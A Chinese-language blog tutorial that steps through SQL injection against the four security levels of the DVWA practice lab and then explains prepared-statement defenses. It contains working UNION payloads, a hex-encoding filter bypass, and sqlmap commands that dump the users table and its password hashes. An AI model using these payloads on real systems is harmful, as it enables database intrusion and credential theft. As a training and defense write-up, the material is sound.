Java程序员_编程开发学习笔记_网站安全运维教程_渗透技术教程

DVWA靶场SQL注入通关详解(Low/Medium/High/Impossible)

阿贵
9月7日发布 /正在检测是否收录...
温馨提示:
本文最后更新于2025年09月07日,已超过8天没有更新,若内容或图片失效,请留言反馈。

DVWA靶场SQL注入通关详解(Low/Medium/High/Impossible)

深入掌握SQL注入技巧,从零开始通关DVWA靶场

SQL注入是Web安全领域最常见也是最危险的漏洞之一。DVWA(Damn Vulnerable Web Application)作为一个专门用于安全练习的靶场,提供了从低到高四个安全级别的SQL注入环境。本文将详细讲解每个级别的通关技巧和防御原理。

1 SQL注入原理简介

SQL注入(SQL Injection)是指攻击者通过将恶意SQL代码插入到Web应用程序的输入参数中,欺骗服务器执行这些恶意代码的攻击方式。当Web应用程序没有对用户输入进行充分过滤或验证时,就可能发生这种漏洞。

SQL注入的主要危害包括:

  • 数据库敏感信息泄露
  • 数据库数据被篡改
  • 服务器被接管
  • 攻击内网其他系统

2 DVWA环境搭建

DVWA是一个使用PHP/MySQL开发的Web应用程序,可以在多种平台上运行(Windows/Linux with XAMPP、WAMP或LAMP)。

  1. 从官网下载DVWA安装包
  2. 解压到Web服务器目录(如Apache的htdocs目录)
  3. 配置数据库连接(config/config.inc.php)
  4. 在浏览器中访问DVWA,创建数据库
  5. 登录(默认用户名/密码:admin/password)

安全级别设置:
在DVWA首页可以设置四个安全级别:

  • Low:低级安全(无任何防护)
  • Medium:中级安全(基础过滤)
  • High:高级安全(较强防护)
  • Impossible:顶级安全(近乎完美防护)

3 Low级别通关详解

3.1 漏洞分析

Low级别的源码完全没有进行任何过滤:

$id = $_REQUEST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

用户输入的id参数直接拼接到SQL语句中,存在明显的字符型SQL注入漏洞。

3.2 注入步骤

3.2.1 判断注入点类型

首先输入正常值观察回显:

id=1

回显正常,显示用户ID为1的用户名。

接着测试注入类型,输入:

id=1'

页面报错,说明存在字符型注入,且使用单引号闭合。

3.2.2 确定字段数

使用order by语句判断查询结果的字段数:

id=1' order by 2# 

回显正常

id=1' order by 3#

回显错误,说明字段数为2。

3.2.3 查找回显点

使用union联合查询确定回显位置:

id=-1' union select 1,2#

页面显示1和2,说明两个位置都可以回显。

3.2.4 获取数据库信息

获取当前数据库和版本信息:

id=-1' union select database(),version()#

回显结果为:数据库名dvwa,MySQL版本号。

3.2.5 获取表名

id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

回显显示有两个表:guestbookusers

3.2.6 获取列名

id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

回显显示users表有多个字段,包括user_id, first_name, last_name, user, password等。

3.2.7 提取数据

获取所有用户名和密码:

id=-1' union select group_concat(user),group_concat(password) from users#

回显所有用户名和经过MD5加密的密码。

DVWA用户默认密码:

用户名MD5密码明文密码
admin5f4dcc3b5aa765d61d8327deb882cf99password
gordonbe99a18c428cb38d5f260853678922e03abc123
13378d3533d75ae2c3966d7e0d4fcc69216bcharley
pablo0d107d09f5bbe40cade3de5c71e9e9b7letmein
smithy5f4dcc3b5aa765d61d8327deb882cf99password

可以使用在线MD5解密网站破解这些哈希值。

3.3 自动化工具注入

使用SQLmap工具可以自动化完成上述过程:

  1. 登录DVWA后获取Cookie值
  2. 使用以下命令进行注入:
sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \
  --cookie="security=low; PHPSESSID=<your-session-id>" \
  --batch --dbs

或者

sqlmap -u "https://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="security=low; PHPSESSID=<your-session-id>" --current-db --batch

1.png
2.png

  1. 获取数据库后,进一步提取表、字段和数据:
sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \
  --cookie="security=low; PHPSESSID=<your-session-id>" \
  -D dvwa -T users --dump

3.png

4 Medium级别通关详解

4.1 漏洞分析

Medium级别使用了mysqli_real_escape_string()函数对输入进行转义:

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

此函数转义以下字符:\x00, \n, \r, \, ', "\x1a

但是查询语句发生了变化:

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

注意这里不再使用引号包围$id,说明是数字型注入,因此转义函数无法防止注入。

4.2 注入步骤

4.2.1 判断注入类型

由于前端改为下拉菜单,需要使用Burp Suite等工具抓包修改参数。

抓包后修改id参数为:

id=1 or 1=1#

页面显示所有用户信息,说明存在数字型注入。

4.2.2 确定字段数

id=1 order by 2#

回显正常

id=1 order by 3#

回显错误,确定字段数为2。

4.2.3 获取数据库信息

后续步骤与Low级别类似,但需要注意:

  1. 不需要单引号闭合
  2. 如果需要查询指定表名,需要将表名转换为十六进制绕过过滤

例如查询users表的列名:

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

这里0x7573657273users的十六进制表示。

5 High级别通关详解

5.1 漏洞分析

High级别的SQL查询语句增加了LIMIT 1限制:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

这旨在限制只返回一个结果,但可以通过注释符#绕过这一限制。

5.2 注入步骤

High级别的注入点位于另一个页面,需要通过点击"here to change your ID"链接进入。

注入过程与Low级别类似,只需要在注入payload末尾添加#注释掉后面的LIMIT 1

id=1' union select user,password from users# 

这样就能获取所有用户信息,而不受LIMIT 1的限制。

6 Impossible级别防御分析

Impossible级别采用了多种安全措施,有效防止了SQL注入:

6.1 PDO预处理语句

$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();

使用PDO预处理语句将代码与数据完全分离,用户输入不再被解释为SQL代码的一部分。

6.2 输入类型检查

if(is_numeric($id))

检查输入是否为数字类型,确保输入符合预期格式。

6.3 结果数量检查

if($data->rowCount() == 1)

确保只返回一个结果,防止信息泄露。

6.4 CSRF令牌保护

checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');

实施CSRF令牌机制,防止CSRF攻击。

7 SQL注入防御方案

根据DVWA四个级别的防护措施,总结SQL注入的有效防御方案:

  1. 使用预处理语句(PDO或MySQLi)
    这是最有效、最根本的防御方式,能彻底分离代码和数据。
  2. 严格输入验证和过滤
    对用户输入进行严格的白名单验证,只允许符合特定格式的输入。
  3. 最小权限原则
    Web应用程序连接数据库时应使用最低权限账户,避免使用管理员账户。
  4. 错误信息处理
    自定义错误信息,避免向用户暴露数据库结构信息。
  5. 多层安全防护
    使用WAF、IDS/IPS等安全设备提供额外保护层。

8 总结

通过DVWA四个级别的SQL注入实验,我们可以得出以下结论:

  1. Low级别:完全没有防护,最容易利用,但也最能展示SQL注入的原理和危害。
  2. Medium级别:试图通过转义特殊字符进行防护,但由于注入类型判断错误,防护效果有限。
  3. High级别:增加了结果数量限制,但可以通过简单注释绕过,防护仍不完善。
  4. Impossible级别:采用预处理语句、输入验证和多层防护,提供了有效的安全保障。

最重要的是:在实际开发中,应该始终使用Prepared Statements(预处理语句)来防止SQL注入攻击,这是唯一被证明有效且全面的防御方式。

希望本文能帮助你理解SQL注入的原理、利用技巧和防御方法,在今后的开发和测试工作中更好地应用这些知识。

喜欢就支持一下吧
点赞 1 分享 收藏
评论 抢沙发
OωO
取消 登录评论